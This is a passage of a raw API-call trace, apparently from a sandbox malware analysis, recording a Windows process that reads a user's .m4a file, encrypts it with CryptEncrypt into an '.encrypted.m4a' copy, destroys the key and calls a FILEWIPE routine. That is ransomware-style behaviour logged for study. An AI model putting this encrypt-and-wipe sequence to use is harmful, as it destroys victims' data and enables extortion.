returned 0 [0027.438] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.438] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\vg92tma h58wct.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.438] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.438] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.439] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.439] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\vg92tma h58wct.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.440] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.441] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.441] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xcaeb, lpOverlapped=0x0) returned 1 [0027.442] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.444] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.445] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.445] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.445] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.445] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.445] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.445] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.446] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.446] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.446] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.446] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.447] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.447] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.447] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.447] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.447] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xcaeb, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xcaf0) returned 1 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.447] CharLowerBuffW (in: lpsz="byte[51953]", cchLength=0xb | out: lpsz="byte[51953]") returned 0xb [0027.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.448] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.448] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.448] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a0130*, pdwDataLen=0xe8f3dfdf68*=0xcaeb, dwBufLen=0xcaf0 | out: pbData=0xe8f43a0130*, pdwDataLen=0xe8f3dfdf68*=0xcaf0) returned 1 [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.448] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.448] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.448] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.449] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.449] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.449] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.449] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.449] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.449] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.449] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.449] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.454] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.454] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.454] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.454] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.454] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.454] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.454] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.454] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.455] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.455] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.455] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.455] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.455] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.455] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.455] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.455] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.458] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.458] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.459] CharLowerBuffW (in: lpsz="byte[51947]", cchLength=0xb | out: lpsz="byte[51947]") returned 0xb [0027.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.460] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.460] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.460] PeekMessageW (in: lpMsg=0xe8f3dfee40, 